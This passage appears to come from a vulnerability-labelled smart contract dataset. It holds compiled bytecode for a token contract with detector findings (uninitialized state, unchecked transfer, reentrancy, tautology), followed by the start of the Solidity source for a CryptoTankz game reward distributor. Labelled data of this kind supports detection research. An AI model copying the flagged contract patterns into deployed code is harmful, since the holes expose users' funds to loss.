StandardToken(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806313ac58bb1461012d578063369badf1146101e157806336f7ab5e1461022257806347db0a24146102b257806360d26f011461037057806363d60745146103bd578063710cba8b14610497578063784f47ff146104f25780638da5cb5b146105a65780639427dfea146105fd578063a437164b14610640578063aff5dff2146106dd578063b5cb15f71461075a578063b967a52e14610785578063bf11f412146107ee578063c4e41b22146108cc578063cb3a11f9146108f7578063cf914a871461098b578063dc39d06d146109da578063dd1e265114610a3f578063e577551514610ae5578063f2fde38b14610b8e575b600080fd5b34801561013957600080fd5b506101cb600480360381019080803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803560ff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bd1565b6040518082815260200191505060405180910390f35b3480156101ed57600080fd5b5061020c60048036038101908080359060200190929190505050611085565b6040518082815260200191505060405180910390f35b34801561022e57600080fd5b5061023761109f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561027757808201518184015260208101905061025c565b50505050905090810190601f1680156102a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102be57600080fd5b5061035a600480360381019080803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803560ff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061113d565b6040518082815260200191505060405180910390f35b34801561037c57600080fd5b506103bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611212565b005b3480156103c957600080fd5b50610481600480360381019080803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803560ff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611367565b6040518082815260200191505060405180910390f35b3480156104a357600080fd5b506104d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119a9565b604051808215151515815260200191505060405180910390f35b3480156104fe57600080fd5b50610590600480360381019080803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803560ff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ff565b6040518082815260200191505060405180910390f35b3480156105b257600080fd5b506105bb611d7b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060957600080fd5b5061063e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611da0565b005b34801561064c57600080fd5b506106c7600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612089565b6040518082815260200191505060405180910390f35b3480156106e957600080fd5b50610744600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612216565b6040518082815260200191505060405180910390f35b34801561076657600080fd5b5061076f61228e565b6040518082815260200191505060405180910390f35b34801561079157600080fd5b506107ec600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612298565b005b3480156107fa57600080fd5b506108b6600480360381019080803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803560ff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061230d565b6040518082815260200191505060405180910390f35b3480156108d857600080fd5b506108e16123ec565b6040518082815260200191505060405180910390f35b34801561090357600080fd5b50610975600480360381019080803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803560ff1690602001909291905050506124eb565b6040518082815260200191505060405180910390f35b34801561099757600080fd5b506109d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612998565b005b3480156109e657600080fd5b50610a25600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a4e565b604051808215151515815260200191505060405180910390f35b348015610a4b57600080fd5b50610a6a60048036038101908080359060200190929190505050612bb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610aaa578082015181840152602081019050610a8f565b50505050905090810190601f168015610ad75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610af157600080fd5b50610b4c600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612c84565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b9a57600080fd5b50610bcf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d1c565b005b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c785750600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610c8357600080fd5b6004866040518082805190602001908083835b602083101515610cbb5780518252602082019150602081019050602083039250610c96565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902090508060010160009054906101000a900460ff161515610e255760018160010160006101000a81548160ff0219169083151502179055506005869080600181540180825580915050906001820390600052602060002001600090919290919091509080519060200190610d62929190612ea8565b5050610d7a6001600654612e7190919063ffffffff16565b6006819055507fc977f4bd46d6809cfc6353aa0b800cef949878884a464ce25d275d401bc2ce8c86426040518080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015610de9578082015181840152602081019050610dce565b50505050905090810190601f168015610e165780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15b610e3c858260000154612e7190919063ffffffff16565b8160000181905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8430886040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610f3d57600080fd5b505af1158015610f51573d6000803e3d6000fd5b505050506040513d6020811015610f6757600080fd5b81019080805190602001909291905050501515610f8357600080fd5b7febeec71aa68672eafcbe666585866eba6fae7776e65bc922e5200fd58f5864ef86600187878760405180806020018660ff1681526020018581526020018460ff1660ff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825287818151815260200191508051906020019080838360005b8381101561103757808201518184015260208101905061101c565b50505050905090810190601f1680156110645780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a18060000154915050949350505050565b600061109861109383612bb2565b612216565b9050919050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111355780601f1061110a57610100808354040283529160200191611135565b820191906000526020600020905b81548152906001019060200180831161111857829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806111e35750600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156111ee57600080fd5b6111fa86868686610bd1565b50611207868386866119ff565b905095945050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126f57600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff161415151561129557600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112f257600080fd5b60008211611317573073ffffffffffffffffffffffffffffffffffffffff1631611319565b815b90508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611361573d6000803e3d6000fd5b50505050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114105750600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561141b57600080fd5b6004876040518082805190602001908083835b602083101515611453578051825260208201915060208101905060208303925061142e565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902091508160010160009054906101000a900460ff1615156114a557600080fd5b6004846040518082805190602001908083835b6020831015156114dd57805182526020820191506020810190506020830392506114b8565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902090508060010160009054906101000a900460ff1615156116475760018160010160006101000a81548160ff0219169083151502179055506005849080600181540180825580915050906001820390600052602060002001600090919290919091509080519060200190611584929190612ea8565b505061159c6001600654612e7190919063ffffffff16565b6006819055507fc977f4bd46d6809cfc6353aa0b800cef949878884a464ce25d275d401bc2ce8c84426040518080602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561160b5780820151818401526020810190506115f0565b50505050905090810190601f1680156116385780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15b8160000154861115151561165a57600080fd5b611671868360000154612e8f90919063ffffffff16565b8260000181905550600082600001541015151561168d57600080fd5b6116a4868260000154612e7190919063ffffffff16565b8160000181905550858160000154101515156116bf57600080fd5b7febeec71aa68672eafcbe666585866eba6fae7776e65bc922e5200fd58f5864ef8760028888600060405180806020018660ff1681526020018581526020018460ff1660ff1681526020018373ffffffffffffffffffffffffffffffffffffffff168152602001828103825287818151815260200191508051906020019080838360005b8381101561175e578082015181840152602081019050611743565b50505050905090810190601f16801561178b5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a17febeec71aa68672eafcbe666585866eba6fae7776e65bc922e5200fd58f5864ef8460018888600060405180806020018660ff1681526020018581526020018460ff1660ff1681526020018373ffffffffffffffffffffffffffffffffffffffff168152602001828103825287818151815260200191508051906020019080838360005b8381101561183b578082015181840152602081019050611820565b50505050905090810190601f1680156118685780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a17f7bbcf9ccf936bdcd134b219284449932d2f50e701ad10df28fdb01927d5cbd878787878760405180806020018581526020018460ff1660ff16815260200180602001838103835287818151815260200191508051906020019080838360005b838110156118f45780820151818401526020810190506118d9565b50505050905090810190601f1680156119215780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101561195a57808201518184015260208101905061193f565b50505050905090810190601f1680156119875780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a1816000015492505050949350505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611aa65750600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611ab157600080fd5b6004866040518082805190602001908083835b602083101515611ae95780518252602082019150602081019050602083039250611ac4565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902090508060010160009054906101000a900460ff161515611b3b57600080fd5b611b52858260000154612e8f90919063ffffffff16565b81600001819055506000816000015410151515611b6e57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84876040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611c3357600080fd5b505af1158015611c47573d6000803e3d6000fd5b505050506040513d6020811015611c5d57600080fd5b81019080805190602001909291905050501515611c7957600080fd5b7febeec71aa68672eafcbe666585866eba6fae7776e65bc922e5200fd58f5864ef86600287878760405180806020018660ff1681526020018581526020018460ff1660ff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825287818151815260200191508051906020019080838360005b83811015611d2d578082015181840152602081019050611d12565b50505050905090810190601f168015611d5a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a18060000154915050949350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dfd57600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515611e2357600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611e8057600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611f3d57600080fd5b505af1158015611f51573d6000803e3d6000fd5b505050506040513d6020811015611f6757600080fd5b81019080805190602001909291905050509050600081111561208557600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561204857600080fd5b505af115801561205c573d6000803e3d6000fd5b505050506040513d602081101561207257600080fd5b8101908080519060200190929190505050505b5050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806121305750600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561213b57600080fd5b6004846040518082805190602001908083835b602083101515612173578051825260208201915060208101905060208303925061214e565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902090508060010160009054906101000a900460ff1615156121c557600080fd5b828160010160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806000015491505092915050565b60006004826040518082805190602001908083835b602083101515612250578051825260208201915060208101905060208303925061222b565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020600001549050919050565b6000600654905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122f357600080fd5b8060019080519060200190612309929190612ea8565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806123b35750600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156123be57600080fd5b6123cb878787878761113d565b506123e0876123d989612216565b87856119ff565b90509695505050505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156124ab57600080fd5b505af11580156124bf573d6000803e3d6000fd5b505050506040513d60208110156124d557600080fd5b8101908080519060200190929190505050905090565b6000806004856040518082805190602001908083835b6020831015156125265780518252602082019150602081019050602083039250612501565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902090508060010160009054906101000a900460ff1615156125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f75736572206973206e6f7420726567697374657265640000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff168160010160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156126a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f757365722e77616c6c6574206973206e6f74206d73672e73656e64657200000081525060200191505060405180910390fd5b6126bf848260000154612e8f90919063ffffffff16565b816000018190555060008160000154101515156126db57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8260010160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156127c457600080fd5b505af11580156127d8573d6000803e3d6000fd5b505050506040513d60208110156127ee57600080fd5b81019080805190602001909291905050501515612873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f7472616e73666572206661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b7febeec71aa68672eafcbe666585866eba6fae7776e65bc922e5200fd58f5864ef85600286868560010160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405180806020018660ff1681526020018581526020018460ff1660ff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825287818151815260200191508051906020019080838360005b8381101561294b578082015181840152602081019050612930565b50505050905090810190601f1680156129785780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a180600001549150509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156129f357600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612aab57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612b6f57600080fd5b505af1158015612b83573d6000803e3d6000fd5b505050506040513d6020811015612b9957600080fd5b8101908080519060200190929190505050905092915050565b60606001600580549050038211151515612bcb57600080fd5b600582815481101515612bda57fe5b906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612c785780601f10612c4d57610100808354040283529160200191612c78565b820191906000526020600020905b815481529060010190602001808311612c5b57829003601f168201915b50505050509050919050565b60006004826040518082805190602001908083835b602083101515612cbe5780518252602082019150602081019050602083039250612c99565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060010160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612d7757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612db357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284019050838110151515612e8557fe5b8091505092915050565b6000828211151515612e9d57fe5b818303905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612ee957805160ff1916838001178555612f17565b82800160010185558215612f17579182015b82811115612f16578251825591602001919060010190612efb565b5b509050612f249190612f28565b5090565b612f4a91905b80821115612f46576000816000905550600101612f2e565b5090565b905600a165627a7a723058203b8952da21209c4a19083f4b0a71a7245b1b25ab94699274b617458eeae5ac060029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
3,689
0x295160c49e6e1283a174ee9b20a688f7bc4fd250
/** *Submitted for verification at Etherscan.io on 2021-10-16 */ /** ______ ______ __ __ ______ ______ ______ /\ ___\ /\ == \ /\ \_\ \ /\ == \ /\__ _\ /\ __ \ \ \ \____ \ \ __< \ \____ \ \ \ _-/ \/_/\ \/ \ \ \/\ \ \ \_____\ \ \_\ \_\ \/\_____\ \ \_\ \ \_\ \ \_____\ \/_____/ \/_/ /_/ \/_____/ \/_/ \/_/ \/_____/ ______ ______ __ __ __ __ ______ /\__ _\ /\ __ \ /\ "-.\ \ /\ \/ / /\___ \ \/_/\ \/ \ \ __ \ \ \ \-. \ \ \ _"-. \/_/ /__ \ \_\ \ \_\ \_\ \ \_\\"\_\ \ \_\ \_\ /\_____\ \/_/ \/_/\/_/ \/_/ \/_/ \/_/\/_/ \/_____/ Twitter: https://twitter.com/CryptoTankZ Gitbook: https://crypto-tankz.gitbook.io/ Telegram: https://t.me/CryptoTankz Announcemnts: https://t.me/CryptoTankzCH Website: https://cryptotankz.com This is special SmartContract helper for CryptoTankz. It provides new player registration to database. Special paid game-items tracking. Tokens distribution to the winners. All reward-tokens are locked here. */ // SPDX-License-Identifier: MIT pragma solidity =0.8.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract ERC20Detailed is IERC20 { uint8 private _decimals; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_, uint8 decimals_) { _decimals = decimals_; _name = name_; _symbol = symbol_; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract OwnableDistributor { address internal _owner; address internal _distributor; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event newDistributorSet(address indexed previousDistributor, address indexed newDistributor); constructor () { _distributor = address(0); address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function setDistributor(address _address) external onlyOwner { require (_distributor == address(0)); _distributor = _address; emit newDistributorSet(address(0), _address); } function distributor() public view returns (address) { return _distributor; } modifier onlyDistributor() { require(_distributor == msg.sender, "caller is not rewards distributor"); _; } } contract CryptoTankzDistributor is OwnableDistributor { using SafeMath for uint256; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) internal allowed; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); address uniswapV2router; // Game rewards conditions setup. mapping (address => bool) private playersDatabase; uint256 playerRewardLimit; event playerAddedToDatabase (address playerAddress, bool isAdded); event playerRemovedFromDatabase (address playerAddress, bool isAdded); event rewardTransfered(address indexed from, address indexed to, uint256 value); // Game items database. string[] private weapon = [ "Small Cannon", "Large Cannon", "Double Cannon", "Slow Machine Gun", "Fast Machine Gun", "Rocket Launcher", "Ground Missile", "Air Missile", "Tracking Missile", "Nuclear Missile" ]; string[] private armor = [ "Metal Helm", "War Belt", "Anit-Fire Shield", "Anti-Missile Shield", "Additional Steel Body", "Caterpillars Shield", "Bulletproof Vest", "Engine Protection", "Shock Absorbers", "Titanium Hatch" ]; string[] private health = [ "First Aid Kit", "Bandages", "Painkillers", "Food", "Water", "Repair Kit", "Engine Oil", "New Battery", "New Caterpillars", "New Suspension" ]; string[] private upgrade = [ "Large Caterpillars", "Climb Improvement", "Engine Booster", "Special Fuel", "Large Exhaust", "Bigger Fuel Tank", "Double Fire", "Auto Tracking", "Wide Radar View", "Artifacts Scanner" ]; string[] private artifact = [ "Gold Ring", "Human Bone", "Garrison Flag", "Rusty Knife", "Binoculars", "Eagle Plate", "Purple Heart Medal", "Soldier Dog Tag", "Silver Bullet", "Lucky Medallion" ]; constructor(address router) { uniswapV2router = router; name = "CryptoTankz Distributor"; symbol = "CTDIST"; decimals = 9; playerRewardLimit = 3000000000000; //maximum amount of reward-tokens for player per game (3000) + decimals (9) } /** * @dev Functions to operate game items database. */ function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } function gameItemWeapon(uint256 tokenNumber) public view returns (string memory) { return itemName(tokenNumber, "WEAPON", weapon); } function gameItemArmor(uint256 tokenNumber) public view returns (string memory) { return itemName(tokenNumber, "ARMOR", armor); } function gameItemHealth(uint256 tokenNumber) public view returns (string memory) { return itemName(tokenNumber, "HEALTH", health); } function gameItemUpgrade(uint256 tokenNumber) public view returns (string memory) { return itemName(tokenNumber, "UPGRADE", upgrade); } function gameItemArtifact(uint256 tokenNumber) public view returns (string memory) { return itemName(tokenNumber, "ARTIFACT", artifact); } function itemName(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal pure returns (string memory) { uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId)))); string memory output = sourceArray[rand % sourceArray.length]; return output; } function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { _transfer(_from, _to, _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) internal view returns (uint256) { return allowed[_owner][_spender]; } function _transfer(address _from, address _to, uint256 _value) private { require(_from != address(0), "ERC20: transfer from the zero address"); require(_to != address(0), "ERC20: transfer to the zero address"); require(_value > 0, "Transfer amount must be greater than zero"); balances[_from] = balances[_from].sub(_value, "ERC20: transfer amount exceeds balance"); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); } function addNewPlayerToDatabase(address _address) public onlyDistributor { playersDatabase[_address] = true; emit playerAddedToDatabase (_address, playersDatabase[_address]); } function removePlayerFromDatabase(address _address) public onlyDistributor { playersDatabase[_address] = false; emit playerRemovedFromDatabase (_address, playersDatabase[_address]); } function isPlayerInDatabase(address _address) public view returns(bool) { return playersDatabase[_address]; } // Returns the maximum amount of reward-tokens for the player per one 